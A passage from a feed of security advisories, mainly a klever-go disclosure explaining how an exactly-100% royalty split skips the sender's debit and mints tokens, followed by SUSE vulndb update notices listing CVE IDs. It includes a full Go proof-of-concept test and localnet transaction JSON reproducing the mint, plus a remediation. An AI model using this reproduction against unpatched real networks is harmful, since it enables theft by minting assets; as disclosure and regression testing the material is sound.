`TransferPercentage` royalty + a 100% split). Once configured, the mint\nfires on **any** holder's transfer of the asset — not just the owner's.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_PercentRoyaltyZeroDebit` drives the real `processPercentageRoyaltiesTransfer` with all relevant forks\nON (`KdaFpr`, `EnableSmartContracts`, `FixMarketBuyOverflow`). With a single 100% split the recipient is credited\nthe full royalty (`40`) while the sender's `SubFromBalance` is called **0 times** (mint = 40); the 50% control case\ndoes not early-return, the sender is debited, and value conserves.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003ecore/kapp/accounts\u003c/code\u003e package, passes = mint confirmed)\u003c/summary\u003e\n\n```go\npackage accounts\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\tintegrationMock \"github.com/klever-io/klever-go/integrationTest/mock\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\tkvmStub \"github.com/klever-io/klever-go/kvm/mock/stub\"\n)\n\n// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:\n// processPercentageRoyaltiesTransfer credits the split recipient\n// inside the loop, then hits `if royaltiesToPay \u003c= 0 { return Ok }` BEFORE the\n// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split\n// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay\n// to 0 and skips the debit =\u003e the recipient keeps royaltyAmount, the sender pays\n// nothing =\u003e mint. The sibling fixed path debits FIRST, so the 50% contrast case\n// (which does NOT early-return) confirms the debit fires and value is conserved.\nfunc TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {\n\tconst (\n\t\tassetIDStr     = \"FUNGI-1234\"\n\t\ttransferValue  = int64(800)\n\t\troyaltyRatePct = uint32(500) // 5%\n\t\troyaltyAmount  = int64(40)   // 800 * 5% = 40\n\t)\n\n\tassetID := []byte(assetIDStr)\n\n\t// 32-byte, non-zero-prefixed =\u003e not a smart-contract address, so the royalty\n\t// path is not short-circuited by core.IsSmartContractAddress.\n\tsenderAddr := bytes.Repeat([]byte{0x11}, 32)\n\t// Split recipient address must be a valid hex string (computeSplitRoyalties\n\t// hex-decodes the map key).\n\trecipientAddr := bytes.Repeat([]byte{0x22}, 32)\n\trecipientKey := hex.EncodeToString(recipientAddr)\n\troyaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)\n\n\tbuildKDA := func(splitPercent uint32) *kapps.KDAData {\n\t\treturn \u0026kapps.KDAData{\n\t\t\tAssetType:    kapps.KDAData_Fungible,\n\t\t\tOwnerAddress: senderAddr,\n\t\t\tRoyalties: \u0026kapps.RoyaltiesData{\n\t\t\t\tAddress: royaltyReceiverAddr,\n\t\t\t\tTransferPercentage: []*kapps.RoyaltyData{\n\t\t\t\t\t{Amount: 1000, Percentage: royaltyRatePct},\n\t\t\t\t},\n\t\t\t\tSplitRoyalties: map[string]*kapps.RoyaltySplitData{\n\t\t\t\t\trecipientKey: {PercentTransferPercentage: splitPercent},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\ttype runResult struct {\n\t\tsubFromCalls    int\n\t\tsubFromAmount   int64\n\t\taddToRecipient  int64\n\t\taddToOwnerRem   int64\n\t\tresCode         transaction.Transaction_TXResultCode\n\t\terr             error\n\t}\n\n\trun := func(t *testing.T, splitPercent uint32) runResult {\n\t\tt.Helper()\n\n\t\tres := runResult{}\n\n\t\t// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.\n\t\tacntSrc := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return senderAddr },\n\t\t\tGetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },\n\t\t\tSubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.subFromCalls++\n\t\t\t\tres.subFromAmount += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Destination is irrelevant to the royalty pool accounting here.\n\t\tacntDst := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t}\n\n\t\t// Split recipient: capture the credit it receives.\n\t\tsplitRecipient := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return recipientAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToRecipient += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Owner-remainder receiver (only credited when the path does NOT early-return).\n\t\troyaltyReceiver := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToOwnerRem += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\tcacher := \u0026commonMock.AccountsCacherStub{\n\t\t\tLoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\tif bytes.Equal(address, recipientAddr) {\n\t\t\t\t\treturn splitRecipient, nil\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(address, royaltyReceiverAddr) {\n\t\t\t\t\treturn royaltyReceiver, nil\n\t\t\t\t}\n\t\t\t\treturn acntSrc, nil\n\t\t\t},\n\t\t\tGetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\treturn royaltyReceiver, nil\n\t\t\t},\n\t\t\tUpdateUserCalled: func(_ state.AccountHandler) error { return nil },\n\t\t}\n\n\t\t// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts\n\t\t// (overflow-checked percentage math), and FixMarketBuyOverflow so the\n\t\t// fix-branch payout guard `splitToPay \u003e royaltiesToPay` is ACTIVE.\n\t\tfc := \u0026integrationMock.ForkControllerStub{\n\t\t\tKdaFprCalled:               func() bool { return true },\n\t\t\tEnableSmartContractsCalled: func() bool { return true },\n\t\t\tFixMarketBuyOverflowCalled: func() bool { return true },\n\t\t}\n\n\t\tkappController := \u0026kvmStub.KAppControllerStub{\n\t\t\tGetCurrentKAppContextCalled: func() kapp.KappContext {\n\t\t\t\treturn kapp.NewKappContext(kapp.ArgsNewKAppContext{\n\t\t\t\t\tOriginalSender: senderAddr,\n\t\t\t\t\tContractID:     0,\n\t\t\t\t\tContractType:   transaction.TXContract_TransferContractType,\n\t\t\t\t\tBlock:          \u0026block.Block{},\n\t\t\t\t})\n\t\t\t},\n\t\t}\n\n\t\ta := \u0026accountsKapp{\n\t\t\taccountsCacher: cacher,\n\t\t\tforkController: fc,\n\t\t\tKAppController: kappController,\n\t\t}\n\n\t\ttc := \u0026transaction.TransferContract{\n\t\t\tAmount:       transferValue,\n\t\t\tKDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)\n\t\t}\n\n\t\tkda := buildKDA(splitPercent)\n\n\t\tres.resCode, res.err = a.processPercentageRoyaltiesTransfer(\n\t\t\ttc, assetID, nil, acntSrc, acntDst, kda,\n\t\t)\n\t\treturn res\n\t}\n\n\t// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----\n\tt.Run(\"split_100pct_mints\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient\n\t\tdebited := r.subFromAmount\n\t\tmintDelta := credited - debited\n\n\t\tt.Logf(\"[100%% case] split recipient credited (AddToBalance) = %d\", credited)\n\t\tt.Logf(\"[100%% case] sender royalty-debit calls (SubFromBalance) = %d\", r.subFromCalls)\n\t\tt.Logf(\"[100%% case] sender royalty amount debited            = %d\", debited)\n\t\tt.Logf(\"[100%% case] owner-remainder credited                 = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[100%% case] MINT delta (credited - debited)          = %d\", mintDelta)\n\n\t\t// (1) split recipient WAS credited the full royaltyAmount (\u003e 0).\n\t\trequire.Equal(t, royaltyAmount, credited,\n\t\t\t\"split recipient must receive the full royalty pool\")\n\t\trequire.Greater(t, credited, int64(0))\n\n\t\t// (2) the sender's royalty debit was NEVER called -\u003e value created.\n\t\trequire.Equal(t, 0, r.subFromCalls,\n\t\t\t\"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the \u003c=0 early-return\")\n\t\trequire.Equal(t, int64(0), debited)\n\n\t\t// credited \u003e debited =\u003e mint of royaltyAmount.\n\t\trequire.Equal(t, royaltyAmount, mintDelta,\n\t\t\t\"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)\",\n\t\t\tmintDelta, assetIDStr)\n\t})\n\n\t// ---- 50% split contrast: NO early-return, sender IS debited -\u003e conserved. ----\n\tt.Run(\"split_50pct_conserves\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent/2) // 5000 == 50%\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient + r.addToOwnerRem\n\t\tdebited := r.subFromAmount\n\n\t\tt.Logf(\"[50%% case] split recipient credited      = %d\", r.addToRecipient)\n\t\tt.Logf(\"[50%% case] owner-remainder credited       = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[50%% case] total credited                 = %d\", credited)\n\t\tt.Logf(\"[50%% case] sender royalty-debit calls      = %d\", r.subFromCalls)\n\t\tt.Logf(\"[50%% case] sender royalty amount debited   = %d\", debited)\n\t\tt.Logf(\"[50%% case] net (credited - debited)        = %d (0 =\u003e conserved)\", credited-debited)\n\n\t\t// Sender IS debited the full royalty pool exactly once.\n\t\trequire.Equal(t, 1, r.subFromCalls,\n\t\t\t\"sibling path: at \u003c100%% the early-return does NOT fire, so the sender royalty debit runs\")\n\t\trequire.Equal(t, royaltyAmount, debited)\n\n\t\t// Split (20) + owner remainder (20) == debited (40): value conserved.\n\t\trequire.Equal(t, royaltyAmount/2, r.addToRecipient)\n\t\trequire.Equal(t, royaltyAmount/2, r.addToOwnerRem)\n\t\trequire.Equal(t, debited, credited, \"50%% case conserves: total credited == debited\")\n\t})\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nAsset `F07-3NG3` was created with a 10% transfer royalty (`percentage: 1000`) and a single 100% split\n(`percentTransferPercentage: 10000`) to address `R` (`klv1qeh4py4…qcv2xjm`). A transfer of `100,000,000,000` units\n(with `kdaRoyalties = 10,000,000,000`, i.e. the 10% pool) then produced **two** credit receipts: the recipient gets\nthe `100,000,000,000` transfer, and `R` is credited the **`10,000,000,000`** royalty — while the sender was debited\nonly the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.\n\n\u003cdetails\u003e\u003csummary\u003eCreate tx — \u003ccode\u003eF07-3NG3\u003c/code\u003e, 10% transfer royalty + single 100% split to \u003ccode\u003eR\u003c/code\u003e (hash \u003ccode\u003eec2a8e8d…af12bc7f\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f\",\n    \"blockNum\": 104,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"contract\": [\n        {\n            \"type\": 1,\n            \"typeString\": \"CreateAssetContractType\",\n            \"parameter\": {\n                \"type\": \"Fungible\",\n                \"name\": \"Finding07\",\n                \"ticker\": \"F07\",\n                \"precision\": 6,\n                \"initialSupply\": 1000000000000,\n                \"maxSupply\": 0,\n                \"royalties\": {\n                    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                    \"transferPercentage\": [\n                        { \"percentage\": 1000 }\n                    ],\n                    \"splitRoyalties\": [\n                        {\n                            \"address\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                            \"percentTransferPercentage\": 10000\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eTransfer tx — royalty pool 10,000,000,000 credited to \u003ccode\u003eR\u003c/code\u003e with no source debit (hash \u003ccode\u003e37527757…bf3706b1\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1\",\n    \"blockNum\": 120,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 10000000000\n        },\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 100000000000\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 0,\n            \"typeString\": \"TransferContractType\",\n            \"parameter\": {\n                \"assetId\": \"F07-3NG3\",\n                \"toAddress\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n                \"amount\": 100000000000,\n                \"kdaRoyalties\": 10000000000\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\nReorder so the royalty pool is debited from the sender **before** the split distribution, mirroring\n`processFixedRoyaltiesTransfer`:\n```go\nerr := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST\n// ... then the split loop and `if royaltiesToPay \u003c= 0 { return Ok }` (now only skips a zero owner-remainder)\n```\nAdd the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.","status":"published","published":"2026-08-28T20:27:44Z","modified":"2026-09-02T19:41:36.642596142Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-841"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"GO-2026-6323","title":"klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits in github.com/klever-io/klever-go","description":"klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits in github.com/klever-io/klever-go.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/klever-io/klever-go before v1.7.19-rc4.","status":"published","published":"2026-09-02T18:37:27Z","modified":"2026-09-02T19:30:09.208606541Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21812-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:52:09Z","modified":"2026-09-10T18:23:18.964541257Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23692-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:28:52Z","modified":"2026-09-29T18:23:12.31116925Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23712-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:28:52Z","modified":"2026-09-29T18:23:12.805639295Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}